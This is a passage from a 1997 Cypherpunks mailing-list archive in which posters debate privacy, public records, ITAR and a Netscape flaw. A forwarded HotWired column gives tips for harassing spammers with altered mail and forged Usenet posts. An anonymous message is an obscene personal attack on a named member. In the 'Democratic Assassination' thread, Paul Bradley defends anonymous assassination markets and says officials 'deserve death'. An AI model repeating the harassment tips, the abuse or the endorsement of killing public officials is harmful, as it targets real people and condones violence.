blanket an area with images immediately, officials
said.

The same technology will allow Alexandria to send
photos to neighboring jurisdictions as soon as they
 get computers that receive digital images. Federal
Highway Administration officials said they expect
this kind of system to become widely available over
the next two years.
 Alexandria is spending $800,000 to outfit its
 patrol cars with the new scanners and portable
computers that can run criminal record checks.
Adding the scanning technology "is an opportunity
we just couldn't miss," said Lt. Michael Clancey,
who commands the vice-narcotics division.

 Most of the money for the computers -- $500,000 --
comes from two federal grants and assets seized
from criminals, officials said. The department is
buying 82 computers, ensuring that most on-duty
cars will have them.

 "Alexandria has been on the forefront of creative
development in the use of technology," said Daniel
 Rosenblatt, director of the International
 Association of Chiefs of Police.

 � Copyright 1997 The Washington Post Company
By Brooke A. Masters
--------------------------------------------------------------------







From frantz at communities.com  Fri Jun 13 12:21:30 1997
From: frantz at communities.com (Bill Frantz)
Date: Sat, 14 Jun 1997 03:21:30 +0800
Subject: Spam Libs (Frauenfelder on HotWired)
Message-ID: <3.0.32.19970613120139.0074c9b4@homer.communities.com>



Forwarded-by: Chip Morningstar 
Forwarded-by: Peter Langston 
Forwarded-by: Keith Bostic 
Forwarded-by: Jeff Moore 

This comes from HotWired's `packet' site, at:

    http://www.packet.com/packet/frauenfelder/nc_today.html

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
Spam Libs

Bulk email spawns ingenious offensives from the masses

Do you remember Droodles? They're those simple line drawings that look
like nonsense until you read the captions. Droodles were invented in the
'60s by a humorist named Roger Price, an author probably best known for
his stinging critique of American society, The Great Roob Revolution. I
was lucky enough to get to know Roger before he died in 1990. He had lots
of great comics, books, and original art (from people like MAD Magazine
creator Harvey Kurtzman) lying around his Studio City, California, home.

Beside Droodles, Roger also invented Mad Libs. You might remember these,
too. Mad Libs were little books with stories in them. But the stories had
several missing words, with instructions to insert verbs, nouns, and
adjectives in the blank spaces.  The game was played at parties, where
one person asked the others to supply the missing words. Then the story
was read out loud and everybody laughed heartily at the result.  (There
are dozens of Mad Lib knockoffs on the Web.)

Because spammers work their cons anonymously, hiding behind forged email
addresses and working out of PO boxes, our imaginations can run wild about
what they look like. My fantasy spammer is a rat-skinny, potbellied,
40-year-old with a greasy salt-and-pepper ponytail and beard.  And he's
rat-smart: After being spammed with get-rich-on-the-Net messages, he
bought the lists containing millions of email addresses, and he bought
the DIY spam software, and now he's in business for himself, working from
the spare bedroom of his mother's house in a Las Vegas suburb.  I'm
grateful to Roger and his Mad Libs for helping me come up with a fun spam
prank. It all started a couple of weeks ago when I received the following:


	Do you drink bottled water?
	Are you looking for a
	discount? How about 4 cents
	a gallon? With our high
	quality water-filtration
	systems, you can bottle
	your own!! Email your name,
	address, phone# & email
	address to The Water Lady -
	TheWaterLady at ----.com

I copied this stupid message into my word processor, and using the
search-and-replace function, swapped every occurrence of the word "water"
with "urine," then sent the result to the Water Lady:

	I received the following
	advertisement and I'm
	wondering if it is a joke?

	Do you drink bottled urine?
	Are you looking for a
	discount? How about 4 cents
	a gallon? With our high
	quality urine-production
	systems, you can bottle
	your own!! Email your name,
	address, phone# & email
	address to The Urine Lady -
	TheWaterLady at ----.com

In a couple of hours, I got the following reply:

	Dear Mark:

	I don't know who may have
	done this sh*t (sic) to the
	message. Everywhere the
	word < urine > is found was
	originally < water >.
	Please accept our
	apologies. This is
	somebody's idea of a joke!

Heh - it sure was. Pleased with myself, I sent the mutated mail to my
friends. They got in on the action, respamming the Mad-Libbed message back
to The Urine Lady. Someone even posted the message on
alt.sex.fetish.watersports, with the subject "GOLDEN BOTTLES!" The post
was forged to look as though it were sent by The Urine Lady herself.

That same day, I got a spam trying to sell me a copy of Floodgate
software, a notorious spamming program. I copied the spam to my word
processor and did a few swaps. I changed "Floodgate" to "The Pig Spittle
Drinkers' Toolkit," "email" to "slobber bottle," "program" to
"pig-drool-extraction device," and "software" to "salivary-gland
stimulator." Here's what I sent back to the spammer:

	SPECIAL: Buy the latest
	version of The Pig Spittle
	Drinkers' Toolkit before
	May 21st and receive a list
	of 30 slobber-bottle
	swappers who have millions
	of slobber bottles to swap
	with you as you build your
	database.

	HERE'S WHAT OTHER PIG
	SPITTLE DRINKERS' TOOLKIT
	USERS SAY.....

	"The Pig Spittle Drinkers'
	Toolkit is truly a dream
	come true! By following the
	instructions in the book, I
	was able to develop a list
	of 2,400 slobber bottle
	addresses in less than one
	hour. Furthermore, the
	technical support is
	outstanding. This
	pig-drool-extraction device
	will put me on a level
	playing field with the big
	boys. They don't teach this
	stuff in business school!"

	"This salivary-gland
	stimulator works fantastic
	- I'm so busy now I can't
	keep up with the orders and
	inquiries! Thanks!"

	"I ordered the
	pig-drool-extraction device
	and haven't stopped running
	with it since. With your
	support, (at the drop of a
	hat), with the finest
	pig-drool-extraction device
	ever released for public
	use, I started my dream
	business, a bulk
	slobber-bottle business.

	"If a 'dummy' like me can
	use this salivary-gland
	stimulator, anyone can!
	Great tool!!!"

	[snip]

Soon, my friends and I were mutating and resending almost every spam we
got. Most of the spammers wrote back saying they were mystified and
expressed dismay that anyone would want to hurt their wonderful home-based
business, apologized profusely, and promised that they'd get to the bottom
of the nefarious campaign to defame their good name.

This was our intent: to make them think that someone had intercepted their
spam and was ruining their good name with wacko faux-spam. Only once did
the spammer retaliate by flaming the messenger. Here's the original spam
that a friend received:

	This is a great opportunity
	for your business. How
	would you like to get
	200-300 responses per day
	from your advertisement? At
	Selective Marketing we make
	it happen for your
	business. Selective
	Marketing is a bulk email
	advertiseing (sic) company
	that generates hundreds to
	thousands of responses for
	your business.

	[snip]

Here is his reply to the spammer:

	WHAT IS THE MEANING OF THIS
	DISGUSTING SATANIC FILTH?
	ALL FORTY-SIX MEMBERS OF
	'CHRISTAIN VIRGINS AGAINST
	INTERNET SEX' RECEIVD THIS
	DISGUSTING PIECE OF HATE
	MAIL AND I DEMAND THAT YOU
	PROVIDE AN EXPLANATION! WE
	ARE CONSULTING OUR LAWYERS
	NOW TO SEE IF LEGAL ACTION
	CAN BE TAKEN!

	JOHNATHON JILLIAN DAVES

	This is a great opportunity
	for your penis. How would
	you like to get 200-300
	penises per day from your
	penis? At Selective
	Marketing we make it happen
	for your penis. Selective
	Marketing is a bulk penis
	advertising company that
	generates hundreds to
	thousands of penises for
	your penis.

The spammer sent 61 identical emails to my friend, which read:

	YOU WILL LEARN NOT TO FUCK
	WITH ME YOU PIECE OF
	SHIT!!!!!!!!!

(My friend said it took him "all of 30 seconds" to save the messages in
a folder.)

If you want to play the Mad Lib Mutated Spam game, here are some tips.
(Remember, some of this stuff might get you in trouble with the long
tentacle of the law, so proceed at your own risk.)

1. Usually, spams do not contain valid email addresses. But there are a
   couple of ways to get a real address. First, you can look up the
   spammer's domain name on InterNIC's Whois database. That'll yield a
   couple of email address you can use.  The other way is to visit the
   spammer's Web site, which is often listed in the spam. If it isn't,
   just try typing the spammer's domain into your Web browser, and see if
   anything pops up. As a last resort, you can fax or snailmail your
   mutated message to the spammer, as they usually list their phone number
   and mailing address in their desperate quest to get their sebum-coated
   hands on your money.

2. If you have an AOL account, create a special email address (you are
   allowed up to five different addresses per account). I send most of my
   Mad-Libbed spams through an AOL address used exclusively for
   antispamming.  That way, if the spammer flips out and decides to mail
   bomb you or forge your name on obscene Usenet postings, it won't
   matter. This also works with Web-based anonymous email services like
   HotMail.

3. If you're technically adept, you might want to try "linking two
   spammers to each other," as another friend suggests. By "sending
   mutated mail to other spammers," says my Mad Lib buddy, "maybe they
   will start suspecting each other of mutual spam mutating, and spamming
   will enter a new era of conspiracy and distrust."

If you get any especially good results from playing Mad Lib Mutated Spam,
please tell me about it!

[Mark Frauenfelder]

Send mail to Mark Frauenfelder at mark at wired.com

Illustration by Dave Plunkert

[to webmonkey]
[to netsurf central]







From sunder at brainlink.com  Fri Jun 13 12:23:28 1997
From: sunder at brainlink.com (Ray Arachelian)
Date: Sat, 14 Jun 1997 03:23:28 +0800
Subject: Ray Just doesn't get it.
In-Reply-To: <199706131821.NAA14221@mailhub.amaranth.com>
Message-ID: 



On Fri, 13 Jun 1997, William H. Geiger III wrote:

> Ray you seem to be missing the point here.

Bzzzt:
 
> Any state issued permit is public record. This includes your drivers
> license and your auto registration.

Should it include your address and phone number?

> It is imperative that in a democracy that the public know who and what the
> state is giving permits to (there whole other issue of wether the state
> should be issuing permits at all but that should be left to another
> thread).

> In a free and open society the public must be able to review the actions
> of its government.

Then we don't live in an open and free society.  Do we have open records
into what the CIA and NSA and such do? etc.?  Very few. 
 
> If Joe Sixpack has run over 20 people because he gets his kicks out of it
> and the DMV still issues him a license the public has a right to know.

But should the public know Joe's phone number and address and date of
birth?  Gee, weren't we screaming this sucks to easily accessible Texas
DMV records a few days ago?

> If the state is going to issue permits on what people can and can not do
> the it is crutial that the public can examine these records to insure that
> the state is not abusing this power.

See CIA comment above.  What of the likes of TRW, and health records?
Should these be open knowledge to anyone who is a credit card agent or
health insurance co?  If it is vital to have this info to keep the
governments in check, why does the government have privacy?  If the
government has privacy, why shouldn't we?  Neither do we, nor the
government have absolute privacy, however, the government controls the
information it deems to keep private.  Why should we not do the same?

Should detailed building plans be made available of all buildings so that
theives can look at them and break into banks more easily?  Perhaps there
are reasons some of these things are available to the public.  Perhaps
there are reasons why not all should be.

=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.|  Ray Arachelian    | "If you wanna touch the sky, you must  |./|\.
..\|/..|sunder at sundernet.com| be prepared to die.  And I hate cough  |/\|/\
<--*-->| ------------------ | syrup, don't you?"                     |\/|\/
../|\..| "A toast to Odin,  | For with those which eternal lie, with |.\|/.
.+.v.+.|God of screwdrivers"| strange aeons, even death may die.     |.....
======================== http://www.sundernet.com =========================






From mixmaster at remail.obscura.com  Fri Jun 13 12:31:11 1997
From: mixmaster at remail.obscura.com (Mix)
Date: Sat, 14 Jun 1997 03:31:11 +0800
Subject: No Subject
Message-ID: <199706131810.LAA05807@sirius.infonex.com>



Tim C. Maya likes to lick the semen-shit mixture that 
accumulates in the crack of his mother's ass.

           /_/\/\
           \_\  /
           /_/  \
           \_\/\ \ Tim C. Maya
              \_\/






From rah at shipwright.com  Fri Jun 13 13:03:27 1997
From: rah at shipwright.com (Robert Hettinga)
Date: Sat, 14 Jun 1997 04:03:27 +0800
Subject: Do reporters have special rights the rest of us don't have?
In-Reply-To: 
Message-ID: 



Awwww, Caaa'monnn.

You mean they can license handguns, but not reporters???

I think reporters, particularly the lapdog Whitehouse kind, have killed
more people in the last century than domestic handguns, don'tcha think?

Heck, now that I think of it, we should also license printing presses, and
xeroxgraphy, and computers...

... And e-mail groups!  Yeah, that's it. License e-mail groups...

Cheers,
Bob Hettinga

-----------------
Robert Hettinga (rah at shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/







From real at freenet.edmonton.ab.ca  Fri Jun 13 13:32:35 1997
From: real at freenet.edmonton.ab.ca (Graham-John Bullers)
Date: Sat, 14 Jun 1997 04:32:35 +0800
Subject: your mail
In-Reply-To: <199706131810.LAA05807@sirius.infonex.com>
Message-ID: 



On Fri, 13 Jun 1997, Mix wrote:
I think Vulis needs each of us to send ten copies of this back to him.

> Tim C. Maya likes to lick the semen-shit mixture that 
> accumulates in the crack of his mother's ass.
> 
>            /_/\/\
>            \_\  /
>            /_/  \
>            \_\/\ \ Tim C. Maya
>               \_\/
> 

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Graham-John Bullers                      Moderator of alt.2600.moderated   
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    email :  : 
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
         http://www.freenet.edmonton.ab.ca/~real/index.html
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~






From paul at fatmans.demon.co.uk  Fri Jun 13 13:40:25 1997
From: paul at fatmans.demon.co.uk (Paul Bradley)
Date: Sat, 14 Jun 1997 04:40:25 +0800
Subject: There's no general right to privacy -- get over it, from Netly (fwd)
In-Reply-To: <199706122248.RAA11848@einstein.ssz.com>
Message-ID: 



> > likes to say "Privacy is not an absolute right, but a
> > fundamental right." But in truth, privacy is not a
> > right but a preference: Some people want more of it
> > than others.
> 
> A right is not a question of popularity or amplitude, it is a question of
> existance. It is or it isn't. Some people want more guns than others
> (obvious even to you) so you seriously hold that there is no fundamental
> Constitutional right to own firearms? Or speech, we don't all want to use it
> to the same amount, we therefore don't have a right to free speech? Or (oh
> my god!) crypto, we don't all want to use it to the same degree therefore we
> don't have a right to use crypto?

No, privacy is not a right, it is most definitely a preference. If you 
allow information to become freely available then there is no way to put 
the genie back in the bottle, once information is available it requires 
restrictions on freedom of speech to stop the spread of that information, 
and restrictions on freedom of private equiment to prevent its storage 
and use. 
This is all based on freedom of speech, there is no such thing as 
"private information" in the sense of it being somehow wrong for 
unauthorised people to posess that information, it is up to you how much 
privacy you prefer and correspondingly how much effort you put into 
preventing information from becoming available.

        Datacomms Technologies data security
       Paul Bradley, Paul at fatmans.demon.co.uk
  Paul at crypto.uk.eu.org, Paul at cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"







From rah at shipwright.com  Fri Jun 13 14:11:28 1997
From: rah at shipwright.com (Robert Hettinga)
Date: Sat, 14 Jun 1997 05:11:28 +0800
Subject: crypto page
Message-ID: 




--- begin forwarded text


Sender: mac-crypto at thumper.vmeng.com
Reply-To: Vinnie Moscaritolo 
Mime-Version: 1.0
Precedence: Bulk
Date:  Fri, 13 Jun 1997 13:15:56 -0700
From: Vinnie Moscaritolo 
To: Multiple recipients of 
Subject:  crypto page

I am starting to create a crypto resource  page (soon to be part of mac crypto)
it is at http://www.vmeng.com/vinnie/crypto.html

Its a first crack...
if you have any (even obvious) additions I would appreciate them.


Vinnie Moscaritolo
That Crypto Guy at Apple...
http://www.vmeng.com/vinnie/
Fingerprint: 4FA3298150E404F2782501876EA2146A




--- end forwarded text



-----------------
Robert Hettinga (rah at shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/







From root at iguana.be  Fri Jun 13 14:42:40 1997
From: root at iguana.be (Kris Carlier)
Date: Sat, 14 Jun 1997 05:42:40 +0800
Subject: Netscape Security Flaw is a Feature
In-Reply-To: 
Message-ID: 



Tim,

> Meanwhile, Microsoft has acknowledge that all lines to its Redmond site are
> clogged by people dumping Navigator and trying to download Explorer.

Are you sure they are trying to get Explorer ? it's *very* difficult to
buy a PC nowadays that comes without it. My guess is that people are still
trying to get the vital bugfixes for NT, IE, Win95,...

BTW: if people think IE will do better, they should broaden their minds.
Long live ActiveX ! Recently, MS also implemented a file upload thingie
for IE. What else do you need to browse a visitor's PC ?

kr=

                   \\\___///
                  \\  - -  //
                   (  @ @  )
 +---------------oOOo-(_)-oOOo-------------+
 |     kris carlier - carlier at iguana.be    |
 | Hiroshima 45, Tsjernobyl 86, Windows 95 |
 | Linux, the choice of a GNU gener8ion    |
 |            SMS: +32-75-61.43.05         |
 +------------------------Oooo-------------+
                  oooO   (   )
                 (   )    ) /
                  \ (    (_/
                   \_)









From tzeruch at ceddec.com  Fri Jun 13 15:33:32 1997
From: tzeruch at ceddec.com (tzeruch at ceddec.com)
Date: Sat, 14 Jun 1997 06:33:32 +0800
Subject: Ray Just doesn't get it.
In-Reply-To: 
Message-ID: <97Jun13.180309edt.32257@brickwall.ceddec.com>



On Fri, 13 Jun 1997, Ray Arachelian wrote:

> On Fri, 13 Jun 1997, William H. Geiger III wrote:
> 
> > Any state issued permit is public record. This includes your drivers
> > license and your auto registration.
> 
> Should it include your address and phone number?
> 
> > It is imperative that in a democracy that the public know who and what the
> > state is giving permits to (there whole other issue of wether the state
> > should be issuing permits at all but that should be left to another
> > thread).

One important distinction:

If the state issues me a permit, they probably have a right to the
information pertaining to the permit, e.g. they do need the make, model,
year, and similar information about the car to issue a title or
registration.  If they are issuing state ID, they need to know that I am
me in order to issue it.  They don't need to place my mother's maiden name
into the record although I think it appears on my birth certificate, and
would cause problems since this is used as an informal password.  My
driver's license is a permit to drive, not a permit to be me.  You can
make a case for the database containing my age, but date of birth?  Much
of what appears is not necessary for the purpose stated. 

So are you making the case for having the state ask every detail about
your life and being able to place it in the licensing database, or only
answers to those questions relevant to issuing the license?







From nobody at huge.cajones.com  Fri Jun 13 15:45:47 1997
From: nobody at huge.cajones.com (Huge Cajones Remailer)
Date: Sat, 14 Jun 1997 06:45:47 +0800
Subject: Anonymous proxies & ITAR question
Message-ID: <199706132228.PAA07110@fat.doobie.com>



[Background]
I wanted to grab a copy of the 128 bit version of MSIE, but my ISP hasn't
enabled reverse DNS lookup, so I decided to try running through an
anonymous proxy server to scoop it and lo-and-behold, aside from being
brutally slow, it worked like a charm.

I may have the opportunity in the near future to set up a proxy server,
but this concerns me...

Under ITAR regs, if a "foreign national" was to use the server to get
access to "munitions" (sure, software kills, didn't cha know?), could I be
held in violation?

Even if all they had was circumstantial evidence, I'd really like to avoid
being indicted - puts a real kink in one's social schedule.

Your thoughts on this would be appreciated.






From nobody at huge.cajones.com  Fri Jun 13 16:03:00 1997
From: nobody at huge.cajones.com (Huge Cajones Remailer)
Date: Sat, 14 Jun 1997 07:03:00 +0800
Subject: Impact of Netscape kernel holeImpact of Netscape kernel hole
Message-ID: <199706132241.PAA09924@fat.doobie.com>



It'd be nice to have more specifics about the whole situation, but
regardless - any preliminary threat assessments?  Exactly how widely
exploited do you think this has been?

Tim's post (although refuted by Marc) raises some serious issues since I
suspect that Joe Public has his secret key sitting in c:\pgp\secring.pgp

Some coherent input on the possible impact of this would be appreciated.






From dlv at bwalk.dm.com  Fri Jun 13 17:03:58 1997
From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sat, 14 Jun 1997 08:03:58 +0800
Subject: There's no general right to privacy -- get over it, from Netly
In-Reply-To: <97Jun13.135323edt.32257@brickwall.ceddec.com>
Message-ID: 



tzeruch at ceddec.com writes:
> When I email, if it is something I don't want to see posted everywhere, I
> add a copyright notice of some sort - nonredistribution as a condition of
> use.

That's just silly and has no legal meaning.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps






From dlv at bwalk.dm.com  Fri Jun 13 17:04:02 1997
From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sat, 14 Jun 1997 08:04:02 +0800
Subject: There's no general right to privacy -- get over it, from Netly
In-Reply-To: 
Message-ID: 



Declan McCullagh  writes:

> I suspect the scare about privacy has led to muddled thinking.
>
> Free speech is a right that strictly limits the government's ability to
> control what you say. We should have a similar right of privacy from the
> government.
>
> But I give up my free speech "rights" when I attend a college with a wacky
> speech code or go to work at a company with workplace speech policies. My
> choices in those situations are governed by my free speech preferences.
> Similarly, I give up my privacy "rights" when I go to unknown web sites,
> apply for a loan, or post to Usenet, etc. These also are preferences.

I agree with the above.

I also wish for (and work on) technology solutions to do things like post
to Usenet w/o giving up one's privacy.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps






From llurch at networking.stanford.edu  Fri Jun 13 17:12:11 1997
From: llurch at networking.stanford.edu (Rich Graves)
Date: Sat, 14 Jun 1997 08:12:11 +0800
Subject: Ray Just doesn't get it.
Message-ID: 



-----BEGIN PGP SIGNED MESSAGE-----

Ray Arachelian  wrote:

> Should detailed building plans be made available of all buildings so that
> theives can look at them and break into banks more easily? Perhaps there
> are reasons some of these things are available to the public. Perhaps
> there are reasons why not all should be.

Yeah. We'd better criminalize publishing computer security exploits, too. 
Some information is just too damn dangerous. 

If there is no public record of stuff like real estate, how are we supposed
to know who owns what? Whoever's got the biggest gun?

- -rich
 http://www.stanford.edu/~llurch/

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQBVAwUBM6HeepNcNyVVy0jxAQH8hwIAwEO/XE6hTC2MzVkKOB8eAzyM+aI1lOAX
ialQMD8VGLSEXQb3wEuLsLHrHqNBJFeYXFD7zhHc7yKLFYhwGk+l5A==
=lvKR
-----END PGP SIGNATURE-----






From dlv at bwalk.dm.com  Fri Jun 13 17:12:11 1997
From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sat, 14 Jun 1997 08:12:11 +0800
Subject: There's no general right to privacy -- get over it, from Netly
In-Reply-To: <97Jun13.142726edt.32257@brickwall.ceddec.com>
Message-ID: 



tzeruch at ceddec.com writes:

> On Fri, 13 Jun 1997, Declan McCullagh wrote:
>
> > Get a clue. I did:
> >
> >         Of course there's an essential right to privacy from the
> >    government. (Beware government databases: Nazis used census data in
> >    Germany and Holland to track down and eliminate undesirables.)
>
> Today the Nazi's would simply pay Experian (was TRW) for their databases.
> I think the IRS already does.

Why do you need to bring up the Nazis when the U.S. Gubmint used its own Census
data to round up Americans of Japanese descent (who said so on their Census
forms) and to intern them in concentration camps.

> Private databases collect a lot of data that I am not asked about, or from
> government, or that I am required to turn over (e.g. Government requires a
> taxpayer ID number to open a bank account, so I can't shop for a bank that
> offers privacy as an option, but they will then turn around and give the
> information to the databasers).

Good news: no sane bank gives its client info to the databasers.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps






From paul at fatmans.demon.co.uk  Fri Jun 13 17:19:17 1997
From: paul at fatmans.demon.co.uk (Paul Bradley)
Date: Sat, 14 Jun 1997 08:19:17 +0800
Subject: Democratic Assassination
In-Reply-To: 
Message-ID: 




> There is something fundamentally wrong with a society that is built upon
> the notion that those people who do and say unpopular things deserve death.

Not necessarily. No-one here would begin to suggest that AP *should* be 
used for censorship purposes, to say that AP is a censorship tool is a 
misunderstanding based on that old enemy material determinism. A gun can 
be a censorship tool, a knife can be a censorship tool, hell just about 
any blunt instrument can be a censorship tool too. I believe that those 
who censor, tax, imprison unlawfully and persecute deserve death. Of 
course some people may see this differently, I refer in particular to 
Peter Trei who has said on several occasions he objects to execution in 
nearly all circumstances (I say nearly all because I don`t know his 
position on assasination when it is the only way to remove a dictator or 
similar), I can understand his objection, and although I often talk of 
the uses of AP and executing government criminals I do see problems with 
the total irrevocability of the death penalty, it`s just that I see the 
burden of proof in cases such as polticians and police etc. as being so 
totally overwhelming as to preclude even a small doubt, let alone 
"reasonable doubt", whatever you define that as being, YMMV.

> Yet that is exactly what a system of "democratic" assassinations would do,
> enable a large group of people to intimidate and subvert a smaller group of
> people.

Of course, but once again I refer you to my example of other weapons, 
guns can be used by a large group of people to subvert a smaller group.
AP is essentially, just as are any other more direct form of anonymous 
contract killings, another weapon, its moral worth is defined by the way 
in which it is used, not by the system itself.

> So, for the sake of argument, let this system of anonymous democratic
> assassination come to pass...then what? Utopia? Maybe....

No, but maybe anarchy, maybe stable minarchist government, the whole 
system is too dynamic and too difficult to predict. AP could equally lead 
to chaos, however, the fact that the current murder rate in, for example, 
the US is high but not out of control. The reason I personally think that 
AP or anonymous contract killings will not lead to chaos is based on the 
fact that it is not currently impossible to commit the perfect crime 
without digital assasination markets. If I want to kill my next door 
neighbour I can find a way to do so and make the chance of being caught 
diminishingly small, Proper Prior Planning Prevents Piss Poor Performance.
When it comes to killing say a polotician, this becomes much more 
difficult, my chances of poisoning the presidents coffee is not that good 
to say the least! AP allows the killing of public officials and can help 
to make the source of the asssasination payments untraceable (I say can 
help because although digital assasination markets can be made perfectly 
secure in terms of being untraceable, this does little good if I go out, 
drink a bottle of whisky, and tell a total stranger I am having the prime 
minister killed ;-)) Using AP (or similar systems) to kill my next door 
neighbout is inneficient and makes little sense.

> But let's say that someone comes along later, proposing a way of living
> that is radically different from the norm. Exhibiting a nasty
> characteristic that has been inherent in the human races for eons....even
> before the rise of large sprawling governments....the majority of people
> decide that they don't like this troublemaker....through the process of
> democratic assassination...this person is now dead. Forget even the shade
> of a possibility that this person may have been right...that his way of
> living ***may*** have been better than the norm. Right and wrong don't
> matter. Popularity and the "mood of the crowd" do...this person said
> somethig unpopular, and is dead because of it.
> 
> Freedom of speech?

Don`t confuse the system (which has no ethical structure to it in itself, 
it is simply a tool) with the way in which it is used. You would not say 
that a hammer is "an evil censorship tool" because I can bludgeon people 
to death with it if they say something I do not like. The scale of the 
usefulness of a system makes no difference to this.

> Let's say that a group of people suddenly become unpopular. Perhaps times
> are tough and the majority need a scapegoat. Maybe this group of people
> have been long oppressed and are finally fighting back. Through a system of
> democratized assassination....their leaders are dead....with no one willing
> to take their place (out of fear)....maybe a few other random people are
> killed just to really get these people quaking in their boots.

Read the paragraph above and substitute "the government" for "a group of 
people". This is the primary use of assasination markets, you are clearly 
however referring to the assasination of an innocuous group of people, 
say a religious order. Once again, take the paragraph above and at each 
instance of "democratized assasination" read "guns", the system is merely 
a tool, make value judgements on the people who use it incorrectly, not 
the system itself.

> Even if digital cash, anonymous remailers and strong encryption could
> enable us to set up a democratic system of assassination (which it
> couldn't)...

Expand on this please, if you believe anonymous digital assasination 
markets are not possible from a technical point of view please explain why...

> I still wouldn't want to live in a society where killing is
> democratized...I do not want to live in a society where people can
> abitrarily take a vote on whether I should live or die....

You do live in such a society, if the government decides to fuck you over 
and manages somehow to make a muder charge stick 12 randomly selected 
people can decide whether you live or die. If you say something unpopular 
you can be assasinated. 

> Just because a majority of people like an idea, does that make the idea any
> more right or any less wrong?

No, of course not, this is why democracy is an essentially flawed system. 
Indeed when I speak of minarchist state systems I see no need for 
democracy in such a system, there would be so little need for government 
that it would be sufficient to have commercial style recruitment to 
whatever remained of congress etc.

> I (and I would wager you) do not want to live in a society where it is
> dangerous...even life threatening to be unpopular, and to go against the
> flow. I know that I hold fast to ideas and beliefs which are hardly
> considered popular....the only reason I'm not socially scorned, right now,
> is because I'm very diplomatic about them....

My point exactly, you currently live in a society where holding unpopular 
views is dangerous, even life threatening. 

> 	1) He has parents, maybe even a wife and children, all of whom love him

See execution. If for example a "terrorist" blows up a building 
containing only innocent people, killing hundreds. He deserves to die, of 
course from a hedonist point of view the sorrow suffered by his wife, 
children, parents etc. would be overwhelmingly great compared with the 
combined small cold comfort felt out of revenge by the relatives of the 
initial victims, leading one to believe this would be an unjustified 
killing, I don`t hold with this.

> 	He's another human being....just like yourself...indeed, the only
> 	difference between himself and yourself is how he makes a living.

NO!, in that case we can possibly assume that TM believes in killing 
writers, or artists etc. Not so, working for the government (in an active 
capacity, as Jim said in his AP essay he would not consider the crimes of 
say a forest service grunt to be comparable with those of a police 
officer or similar) is not just a way of earning a wage, it involves 
accepting immoral laws and enforcing them, it involves persecuting people 
the government of the day happens not the like. It is not just a way of 
earning a living, see "ve vere just obeying orders"...

> And maybe...just maybe...he is just as big a victim of "The Machine" as you
> are.

This is a difficult point to even contemplate as having any basis in 
reality. Do you know any police officer (lets make that more specific 
and say DEA inspector) who is a victim? Do you know of any possibility, 
no matter how remote, that someone delegated the task of beating 
confessions out of suspects is a "victim" himself?

> Perhaps "The Machine" has manipulated you more than you realize.
> 
> Justice rarely comes out of hatred.

I agree, it is rarely productive to hate your enemy, but it is often a 
natural reaction...

        Datacomms Technologies data security
       Paul Bradley, Paul at fatmans.demon.co.uk
  Paul at crypto.uk.eu.org, Paul at cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"







From llurch at networking.stanford.edu  Fri Jun 13 17:34:34 1997
From: llurch at networking.stanford.edu (Rich Graves)
Date: Sat, 14 Jun 1997 08:34:34 +0800
Subject: There's no general right to privacy -- get over it, from Netly
Message-ID: 



-----BEGIN PGP SIGNED MESSAGE-----

William H. Geiger III  wrote:

> Well this is rather a poor example. The requirment of a census was written
> into the costitution and with good reason. Many of the government actions
> are based on demographics congressional districting is a prime example.
> 
> There is a fight going on in cogress right now as the current
> administration wants to be able to gestimate the census rather than doing
> an actuall head count so it can manipulate the figures any way it wants
> (ie change the figures in key congressional districts so they can re-draw
> them to favor their supporters).

Not that I feel strongly either way, but the other way to look at this is
that the current Congress likes its cozy little districts and likes
restricting the census to people with permanent addresses, which tends to
bias the figures in favor of suburbia.

I certainly agree with the fundamental points that censuses and districting
have always been important, and hence political[ly corrupted]. Anyone here
descended from 3/5ths people? 

- -rich
 http://www.stanford.edu/~llurch/

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQBVAwUBM6HgHJNcNyVVy0jxAQEmsgH+IWGzDmFvmlCIKSxw26xaP4+tBRHhdRDu
BT572zIvqjQfh/4B31qOzOjjWh6cFCEREXE/9bzHaRmyOYA3YfP+EQ==
=8mJR
-----END PGP SIGNATURE-----






From llurch at networking.stanford.edu  Fri Jun 13 17:36:34 1997
From: llurch at networking.stanford.edu (Rich Graves)
Date: Sat, 14 Jun 1997 08:36:34 +0800
Subject: FUCK YOU: There's no general right to privacy -- get over it,
Message-ID: 



-----BEGIN PGP SIGNED MESSAGE-----

Ray Arachelian wrote:
>On Thu, 12 Jun 1997, Declan McCullagh wrote:
>
